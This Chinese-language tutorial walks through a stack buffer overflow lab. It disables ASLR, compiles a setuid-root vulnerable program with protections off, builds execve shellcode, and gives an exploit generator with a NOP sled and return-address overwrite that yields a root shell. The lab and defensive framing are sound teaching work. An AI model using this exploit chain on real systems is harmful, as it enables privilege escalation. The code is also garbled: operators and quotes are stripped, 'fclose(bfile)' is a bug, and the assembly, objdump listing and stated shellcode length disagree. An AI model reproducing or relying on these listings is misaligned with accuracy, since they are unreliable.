缓冲区溢出漏洞复现:从原理到实践,深入理解栈溢出攻击与防御

缓冲区溢出漏洞复现:从原理到实践,深入理解栈溢出攻击与防御
1. 项目概述一次对经典漏洞的深度复现如果你对计算机安全、逆向工程或者底层系统编程感兴趣那么“缓冲区溢出”这个词你一定不陌生。它就像一个幽灵在计算机安全史上徘徊了数十年从早期的大型机到如今的物联网设备其原理始终是理解软件漏洞攻防的基石。今天我们不是要制造恐慌而是要像一位安全研究员或逆向工程师那样亲手搭建一个受控的实验环境从零开始一步步复现一个经典的、基于堆栈的缓冲区溢出攻击。我们的目标不是攻击任何真实系统而是通过这个“沙盒”实验彻底搞懂几个核心问题程序的内存尤其是栈是如何被错误的数据“撑破”的攻击者精心构造的“Shellcode”是如何被注入并执行的以及现代操作系统又部署了哪些“防御工事”来抵御这类攻击这个实验的价值远超一个简单的漏洞利用。通过动手操作你将直观地理解函数调用约定、栈帧结构、机器指令执行这些底层概念它们不仅是安全领域的核心也是你深入理解操作系统、编译器乃至高性能编程的关键。我们会使用C语言编写一个有漏洞的程序和一个攻击程序在Linux环境下配合GCC编译器和GDB调试器完成一次完整的“攻防”演练。请注意所有操作均在你自己完全控制的虚拟机或实验环境中进行绝不针对任何第三方系统。2. 实验环境搭建与关键配置解析工欲善其事必先利其器。一个稳定、可控的实验环境是成功复现缓冲区溢出的前提。现代Linux系统默认开启了许多安全机制它们会阻止我们进行这种“古老”的攻击因此第一步就是理解并暂时关闭它们这本身就是一个学习过程。2.1 关闭地址空间布局随机化ASLR地址空间布局随机化Address Space Layout Randomization, ASLR是现代操作系统最重要的安全缓解措施之一。它的核心思想是每次程序运行时其堆heap、栈stack和共享库libraries的加载基地址都是随机化的。这意味着攻击者很难预测到Shellcode或关键函数在内存中的确切地址从而大大增加了利用难度。在我们的实验中为了稳定地定位到栈上的地址需要临时关闭ASLR。在Linux中这通过一个内核参数kernel.randomize_va_space来控制。# 查看当前ASLR设置 cat /proc/sys/kernel/randomize_va_space # 输出为2表示完全开启栈、堆、共享库等1表示部分开启仅栈0表示关闭 # 临时关闭ASLR重启后失效 sudo sysctl -w kernel.randomize_va_space0 # 永久关闭不建议仅用于实验环境 # 编辑 /etc/sysctl.conf添加一行kernel.randomize_va_space 0 # 然后执行 sudo sysctl -p注意务必在实验完成后重新开启ASLRsudo sysctl -w kernel.randomize_va_space2以恢复系统的安全防护。永远不要在用于日常办公或联网的生产主机上永久关闭此功能。2.2 处理Shell的权限降级机制另一个关键的防御机制存在于Shell本身。在Linux中当一个Set-UID程序即以高权限如root身份运行的程序调用shell如/bin/bash时现代的bash会主动放弃其特权降级为普通用户权限。这是一种“特权隔离”思想防止攻击者通过漏洞直接获取一个高权限的shell。为了复现早期没有此防护措施的环境我们需要将默认的shell链接到一个行为不同的shell程序。通常/bin/sh是指向/bin/bash的符号链接。我们可以将其改为指向zsh在默认配置下旧版本的zsh可能不会主动降权或dash。# 进入root权限操作 sudo su # 切换到/bin目录 cd /bin # 移除原有的sh链接 rm sh # 创建指向zsh的新链接确保zsh已安装可通过apt-get install zsh安装 ln -s zsh sh # 退出root exit实操心得并非所有发行版或版本的zsh都保持旧行为。更可靠的方法是直接编译一个不降权的、静态链接的、微型的shell程序作为我们的Shellcode这能确保攻击的稳定性。我们后续的Shellcode正是采用了这种思路。2.3 切换到32位编译与调试环境64位系统已成为主流但其内存地址更长8字节地址空间更大某些攻击细节与32位系统有所不同。为了与大量经典教材和案例保持一致简化地址计算和内存布局的理解我们选择在32位环境下进行实验。如果你的宿主机是64位Linux可以通过安装多架构支持和指定编译参数来实现。# 安装32位运行时库以Ubuntu/Debian为例 sudo apt-get update sudo apt-get install gcc-multilib # 编译时使用-m32参数强制生成32位程序 gcc -m32 -o test test.c此外为了获得更纯粹的32位环境可以使用linux32命令临时改变进程的“人格”使其认为自己运行在32位系统下这对于一些系统调用和内存布局有影响。# 进入32位环境 linux32 # 此时可以运行uname -m查看应显示i686或类似而非x86_64 # 退出32位环境 exit在本次实验中我们主要在编译时使用-m32参数即可。3. 漏洞程序Victim Program的编写与编译我们的“靶子”是一个故意留下缓冲区溢出漏洞的C程序。理解它的每一行代码是理解整个攻击链的第一步。3.1 漏洞代码深度剖析在/tmp目录下创建stack.c文件内容如下/* stack.c - 存在缓冲区溢出漏洞的程序 */ #include stdlib.h #include stdio.h #include string.h int bof(char *str) { char buffer[12]; // 在栈上分配一个12字节的字符数组 /* 下面这条语句存在缓冲区溢出问题 */ strcpy(buffer, str); // 将str的内容复制到buffer无长度检查 return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile fopen(badfile, r); // 打开名为badfile的文件 if (!badfile) { printf(无法打开文件 badfile.\n); exit(1); } fread(str, sizeof(char), 517, badfile); // 读取最多517字节到str数组 fclose(badfile); bof(str); // 调用存在漏洞的函数 printf(Returned Properly\n); // 如果控制流正常返回会打印这句 return 1; }关键点解析漏洞点bof函数中的strcpy(buffer, str)。strcpy是一个不安全的函数它从源地址str一直复制字符到目标地址buffer直到遇到字符串终止符\0。如果str的长度超过12字节buffer的大小多出的字符就会覆盖buffer之后栈上的内存数据。数据流程序从badfile文件中读取数据到main函数的局部数组str然后将其传递给bof函数。这意味着我们可以通过精心构造badfile文件的内容来控制bof函数栈上的数据。栈帧结构当main调用bof时会创建一个新的栈帧。典型的32位x86栈帧使用cdecl调用约定从高地址向低地址增长其结构大致如下调用bof之后高地址 | ... | (main函数的栈帧) | 返回地址 (Return Address) | - 这是bof函数执行完毕后要跳回main函数的位置 | 旧的ebp (Saved EBP) | - 调用者main的栈帧基址指针 | buffer[0-11] | - 局部变量buffer的空间12字节 | ... (可能还有对齐空间) | | str参数指针 | - 传递给bof的参数str的地址 低地址strcpy溢出buffer时数据会向高地址栈顶方向覆盖依次覆盖可能的对齐空间、保存的EBP最终覆盖返回地址。3.2 关键编译选项与原理编译这个漏洞程序需要特定的参数来“还原”一个缺乏保护的环境gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c sudo chmod us stack # 将其设置为Set-UID root程序使攻击成功后能获取root shell-m32生成32位可执行文件。-g添加调试信息方便后续使用GDB进行调试和地址分析。-z execstack这是关键之一。它告诉链接器程序的栈内存区域是可执行的。默认情况下现代系统使用NXNo-eXecute或DEPData Execution Prevention保护将数据区如栈和堆标记为不可执行从而阻止注入的Shellcode运行。此选项禁用了栈的NX保护。-fno-stack-protector这是关键之二。它禁用GCC的栈保护器Stack Protector或称Stack Canary。栈保护器会在函数栈帧中在返回地址之前插入一个随机的“金丝雀值”canary。函数返回前会检查该值是否被改变若被改变可能由于缓冲区溢出则立即终止程序。此选项移除了这个保护。chmod us设置Set-UID位。当任何用户运行此程序时它将以文件所有者这里是root的权限运行。我们的攻击目标就是利用漏洞让这个程序为我们执行一个shell从而继承root权限。注意事项在实际的漏洞挖掘中遇到一个同时满足“存在溢出漏洞”、“栈可执行”、“无栈保护”、“是Set-UID程序”的目标几乎是不可能的。现代编译器和操作系统默认就开启了多重防护。这个实验环境是高度理想化的旨在剥离所有防护让我们专注于理解溢出原理本身。4. Shellcode攻击载荷的精髓Shellcode本质是一小段机器码作为攻击载荷Payload在漏洞利用时被送入目标进程并执行。它的终极目标通常是启动一个shell但也可以是执行任何其他指令如下载文件、添加用户等。4.1 Shellcode的构造原理我们不会直接手写十六进制机器码而是先理解其对应的汇编/C逻辑再通过汇编器得到。一个经典的Linux x86系统调用execve(“/bin/sh”, 0, 0)的Shellcode构造如下C语言描述#include unistd.h char *argv[] {“/bin/sh”, NULL}; execve(argv[0], argv, NULL);对应的汇编思路x86, Linux将字符串”/bin/sh”的地址压入栈。构造参数数组argv其第一个元素是指向”/bin/sh”的指针第二个是NULL。将系统调用号0x0b即execve放入寄存器eax。将”/bin/sh”的地址放入ebx第一个参数。将argv的地址放入ecx第二个参数。将NULL0放入edx第三个参数。执行int 0x80指令触发软中断进入内核态执行系统调用。为了避免Shellcode中包含\x00空字符C字符串的终止符因为像strcpy这样的函数会在遇到\x00时停止复制我们需要使用一些技巧例如用异或操作将寄存器清零而不是直接mov eax, 0。4.2 生成与提取Shellcode我们可以写一个简单的汇编程序然后提取其操作码Opcode。# 编写shellcode.asm section .text global _start _start: xor eax, eax ; 清空eax同时将aleax低8位置0为后续做准备 push eax ; 将0字符串终止符压栈 push 0x68732f2f ; 压入//sh小端序0x68是push指令的操作码部分 push 0x6e69622f ; 压入/bin mov ebx, esp ; ebx指向栈顶即字符串/bin//sh的地址 push eax ; argv[1] NULL push ebx ; argv[0] 指向/bin//sh的指针 mov ecx, esp ; ecx指向argv数组的地址 xor edx, edx ; edx NULL (envp) mov al, 0x0b ; execve的系统调用号是11 (0x0b) int 0x80 ; 触发系统调用 # 汇编、链接并提取操作码 nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode objdump -d shellcode从objdump的输出中我们可以提取出机器码... 08048080 _start: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 68 2f 2f 73 68 push $0x68732f2f 8048088: 68 2f 62 69 6e push $0x6e69622f 804808d: 89 e3 mov %esp,%ebx 804808f: 50 push %eax 8048090: 53 push %ebx 8048091: 89 e1 mov %esp,%ecx 8048093: 99 cdq 8048094: b0 0b mov $0xb,%al 8048096: cd 80 int $0x80 ...因此我们的Shellcode十六进制形式为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80长度是23字节。实操心得为什么用”/bin//sh”因为”/bin/sh”是7个字符加上终止符共8字节在32位系统上需要两次push每次4字节并处理对齐比较麻烦。而”/bin//sh”8个字符正好可以用两个push指令完美压入栈中0x68732f2f对应”//sh”0x6e69622f对应”/bin”多一个/在路径解析上没有影响。这是一种常见的技巧。5. 攻击程序Exploit的构造与地址计算攻击程序的任务是生成一个特殊的badfile文件。这个文件的内容需要精心构造使得当漏洞程序stack读取它时能精确地覆盖bof函数的返回地址使其指向我们注入的Shellcode。5.1 攻击程序代码详解创建exploit.c文件/* exploit.c - 生成攻击载荷badfile */ #include stdlib.h #include stdio.h #include string.h // 步骤4中生成的Shellcode char shellcode[] \x31\xc0 // xorl %eax,%eax \x50 // pushl %eax \x68//sh // pushl $0x68732f2f \x68/bin // pushl $0x6e69622f \x89\xe3 // movl %esp,%ebx \x50 // pushl %eax \x53 // pushl %ebx \x89\xe1 // movl %esp,%ecx \x99 // cdq \xb0\x0b // movb $0x0b,%al \xcd\x80 // int $0x80 ; void main() { char buffer[517]; FILE *badfile; /* 1. 用NOP指令填充整个buffer */ memset(buffer, 0x90, 517); // 0x90是x86的NOP指令执行时不进行任何操作 /* 2. 计算并填充返回地址 */ long *ptr; long ret; // 用于存储我们计算出的返回地址 // 假设我们通过调试得知buffer的起始地址是 0xffffd420 // Shellcode被放置在 buffer 100 的位置 // 那么 Shellcode 的起始地址 buffer地址 100 // ret (long)buffer 100; // 注意这里的buffer地址是exploit.c中的地址我们需要的是stack程序运行时bof函数中buffer的地址 // 下面这行只是一个示意实际地址需要通过调试stack程序获得。 // ret 0xffffd420 100; // 0xffffd484 // 将返回地址写入buffer的合适偏移处。 // 我们需要知道从bof函数的buffer起始位置到返回地址的偏移量。 // 假设通过分析这个偏移量是 24 字节 (12字节buffer 4字节对齐 4字节保存的ebp) // 那么覆盖返回地址的位置就在 buffer起始地址 24 ptr (long *)(buffer 24); // 指向返回地址在buffer中的位置 *ptr ret; // 将计算出的Shellcode地址写在这里 /* 3. 将Shellcode拷贝到buffer100的位置 */ memcpy(buffer 100, shellcode, strlen(shellcode)); /* 4. 将buffer写入文件 */ badfile fopen(./badfile, w); fwrite(buffer, 517, 1, badfile); fclose(bfile); }关键构造解析NOP雪橇NOP Sledmemset(buffer, 0x90, 517);用0x90NOP指令填满整个缓冲区。这创造了一个巨大的“滑行区”。只要程序跳转到这个区域内的任何一个NOP指令上CPU就会一路“滑行”直到执行到我们的Shellcode。这降低了我们精确命中Shellcode起始地址的难度。返回地址覆盖这是最需要精确计算的部分。我们需要知道bof函数中buffer数组的起始地址到保存的返回地址之间的偏移量。这个偏移量取决于编译器、编译选项和函数栈帧布局。通常包括buffer大小 可能的栈对齐填充 保存的EBP指针大小。Shellcode放置我们将Shellcode放在buffer中靠后的位置例如偏移100字节处前面用NOP填充。这样只要返回地址指向NOP雪橇中的任何位置都能滑到Shellcode。5.2 动态调试确定关键地址上面的exploit.c中ret地址是未知的。我们必须通过调试stack程序来获取bof函数中buffer的真实地址。这个地址每次运行可能都不同因为我们关闭了ASLR所以同一环境下多次运行差异不大但不同机器、不同环境会不同。使用GDB调试确定地址# 编译stack时已加-g选项方便调试 gdb -q ./stack (gdb) b bof # 在bof函数入口处设置断点 Breakpoint 1 at 0x80491d2: file stack.c, line 8. (gdb) run # 运行程序程序会停在断点处 Starting program: /tmp/stack Breakpoint 1, bof (str0xffffd5a0 ) at stack.c:8 8 char buffer[12]; (gdb) print buffer # 打印buffer数组的起始地址 $1 (char (*)[12]) 0xffffd42c (gdb) disassemble main # 查看main函数汇编找到调用bof后的下一条指令地址即返回地址 ... 0x0804925f 142: call 0x80491d2 bof 0x08049264 147: add $0x10,%esp # 这是bof返回后要执行的指令 ... # 在bof函数内部查看栈帧信息 (gdb) info frame Stack level 0, frame at 0xffffd450: eip 0x80491d2 in bof (stack.c:8); saved eip 0x8049264 called by frame at 0xffffd480 Arglist at 0xffffd448, args: str0xffffd5a0 Locals at 0xffffd448, Previous frames sp is 0xffffd450 Saved registers: ebp at 0xffffd448, eip at 0xffffd44c从调试信息可知buffer的地址是0xffffd42c。保存的返回地址saved eip位于0xffffd44c。因此buffer起始地址到返回地址的偏移量 0xffffd44c - 0xffffd42c 0x20十进制32。为什么是32字节我们声明buffer是12字节。但编译器为了内存对齐例如16字节对齐可能会分配16字节。再加上4字节的保存的EBP总共20字节。但这里显示偏移是32字节0x20说明在buffer和保存的EBP之间还有额外的填充可能是编译器为了调试或其他原因加入的。这正是必须通过调试来确定偏移量的原因理论计算可能不准。计算Shellcode地址 我们计划将Shellcode放在buffer 100的位置。 Shellcode地址 buffer地址 100 0xffffd42c 0x64 0xffffd490。因此在exploit.c中我们需要将返回地址位于buffer 32的位置覆盖为0xffffd490。注意x86是小端序所以在内存中字节顺序是\x90\xd4\xff\xff。修改exploit.c中的关键部分/* 2. 计算并填充返回地址 */ long *ptr; long ret 0xffffd490; // 这是我们计算出的Shellcode地址 ptr (long *)(buffer 32); // 偏移量是32字节 *ptr ret;6. 完整攻击流程与结果验证现在让我们将理论付诸实践执行一次完整的攻击链。6.1 分步操作指南准备环境确保已按照章节2完成所有环境配置关闭ASLR、修改shell链接、安装32位库。编译漏洞程序cd /tmp gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c sudo chmod us stack编译攻击程序将计算出的正确地址根据你的调试结果更新到exploit.c中然后编译。# 编辑exploit.c更新 ret 的值和偏移量 # 假设你的偏移量是offsetbuffer地址是buf_addr # ret buf_addr 100; # ptr (long *)(buffer offset); gcc -m32 -o exploit exploit.c生成攻击载荷./exploit这会在当前目录生成badfile文件。执行攻击./stack如果一切计算准确stack程序会因缓冲区溢出其bof函数的返回地址被覆盖为0xffffd490或你计算出的地址。函数返回时指令指针EIP跳转到该地址开始执行NOP雪橇最终滑向并执行Shellcode。6.2 成功现象与验证攻击成功时你将看不到”Returned Properly”这行输出。相反程序会似乎“静默”地启动了一个新的shell进程。由于stack是Set-UID root程序这个新启动的shell将拥有root权限。$ ./stack # 光标停在这里看起来程序结束了但实际上已经进入了新的shell whoami root # 你已经是root了 pwd /tmp exit # 退出新的shell回到原来的终端 $运行whoami命令如果返回root则证明攻击成功你通过漏洞利用获得了root权限的shell。6.3 常见问题与排查技巧实录即使步骤完全正确第一次尝试也常常失败。以下是几个常见问题及排查思路问题现象可能原因排查与解决方法段错误 (Segmentation fault)1. 返回地址计算错误跳转到了非法内存地址。2. Shellcode本身有错误或位置被破坏。3. 栈不可执行未加-z execstack编译。1.重新调试用GDB运行stack在bof函数返回前strcpy之后检查栈内存确认返回地址是否被正确覆盖为预期的Shellcode地址。(gdb) x/32wx buffer起始地址。2.检查Shellcode确保提取的Shellcode正确无误且在badfile中的位置buffer100没有错位。可以在GDB中直接执行disassemble 地址看看该地址的指令是否是你的NOP或Shellcode。3.检查编译选项确认stack程序编译时包含了-z execstack和-fno-stack-protector。程序正常退出并打印”Returned Properly”1. 偏移量计算错误返回地址未被成功覆盖。2.badfile文件内容未正确生成或未被读取。1.验证偏移量在GDB中于bof函数内strcpy之后设置断点打印buffer地址和$ebp计算返回地址 $ebp 4的地址看其是否被修改。(gdb) x/wx $ebp4。2.检查文件用hexdump -C badfile查看文件内容确认在计算的偏移位置如第32-35字节是否是你要的返回地址小端序以及100字节后是否是Shellcode。新shell立即退出或无法执行命令1. Shellcode执行环境问题如字符串地址错误。2. 修改了/bin/sh链接后zsh行为不符合预期。1.简化测试写一个简单的C程序直接执行你的Shellcode数组看能否成功弹出shell以排除环境因素。2.使用更稳定的Shellcode尝试网上其他经过验证的Linux x86 Shellcode。有时因为环境变量等原因execve调用会失败。攻击成功但whoami不是rootstack程序的Set-UID位未设置成功或文件所有者不是root。检查文件权限ls -l ./stack应显示-rwsr-xr-x且所有者为root。确保是用sudo chmod us stack设置的。高级调试技巧 在GDB中你可以在bof函数返回前直接修改EIP寄存器来测试Shellcode地址是否正确(gdb) b *0x08049264 # 在bof的返回地址main中call bof的下一条指令设断点 (gdb) run ... 程序会在bof返回前停下 (gdb) set $eip 0xffffd490 # 将EIP设置为你的Shellcode地址 (gdb) continue如果此时弹出了shell说明Shellcode和地址都是正确的问题可能出在文件生成或偏移计算上。7. 现代防护机制与实验的启示成功完成这个实验带来的兴奋感是巨大的但我们必须清醒地认识到这只是一个“温室”里的实验。现实中这样的漏洞利用难如登天因为现代系统和编译器部署了多重防御栈保护器Stack Canary / SSPGCC的-fstack-protector系列选项会在栈上插入随机金丝雀值函数返回前检查其完整性。我们的实验用-fno-stack-protector关闭了它。数据执行保护DEP / NX将栈和堆标记为不可执行。我们的实验用-z execstack禁用了栈的NX位。现代系统普遍启用DEP。地址空间布局随机化ASLR随机化内存布局。我们手动关闭了它。这是目前最有效的缓解措施之一。地址无关代码PIE将主程序也进行随机化增加定位代码的难度。编译时未使用-pie选项。控制流完整性CFI更高级的防护确保程序执行流不会跳转到意外位置。这个实验的终极目的绝不是为了学会攻击而是为了理解防御。只有亲身体验了攻击是如何发生的你才能真正理解这些安全机制为何被设计出来以及它们是如何工作的。当你未来编写C/C代码时你会对strcpy、gets、sprintf等危险函数保持天生的警惕当你进行代码审计时你会知道去哪里寻找潜在的溢出点当你学习更高级的漏洞利用技术如ROP时这个关于栈和返回地址的基础知识将不可或缺。最后请务必清理实验环境重新开启ASLRsudo sysctl -w kernel.randomize_va_space2并将/bin/sh链接恢复为/bin/bashsudo ln -sf /bin/bash /bin/sh。安全研究的第一原则就是在受控的环境中进行并且结束后不留隐患。